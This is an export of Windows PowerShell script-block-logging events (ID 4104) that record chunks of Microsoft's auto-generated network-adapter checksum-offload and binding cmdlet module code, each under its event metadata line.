$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv6Enabled')) {
[object]$__cmdletization_value = ${UdpIPv6Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterChecksumOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterChecksumOffload' -Alias '*'
function Enable-NetAdapterChecksumOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Al
ScriptBlock ID: bfd03e6b-5243-43d1-b531-e3ce95ea1dda
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1843 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9b28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterChecksumOffloadSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterChecksumOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterChecksumOffloadSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterChecksumOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterChecksumOffload' -Alias '*'
function Set-NetAdapterChecksumOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterChecksumOffloadSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterChecksumOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${IpIPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${TcpIPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${TcpIPv6Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${UdpIPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${UdpIPv6Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
ScriptBlock ID: bfd03e6b-5243-43d1-b531-e3ce95ea1dda
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1842 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9b28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
Cmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllBindings', ${AllBindings})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterBinding.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterBinding' -Alias '*'
ScriptBlock ID: 5902cefb-1c57-4cc5-9bf0-cdd82063114b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1841 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-f0ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
Builder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterBinding.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterBinding' -Alias '*'
function Enable-NetAdapterBinding
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${ComponentID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllBindings},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterBindingSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ComponentID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ComponentID})
$__cmdletization_queryBuilder.FilterByProperty('ComponentID', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllBindings') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllBindings', ${AllBindings})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterBinding.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterBinding' -Alias '*'
function Disable-NetAdapterBinding
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${ComponentID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllBindings},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterBindingSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ComponentID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ComponentID})
$__cmdletization_queryBuilder.FilterByProperty('ComponentID', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllBindings') -and (@('ByName', 'ByInstanceID') -contains $PS
ScriptBlock ID: 5902cefb-1c57-4cc5-9bf0-cdd82063114b
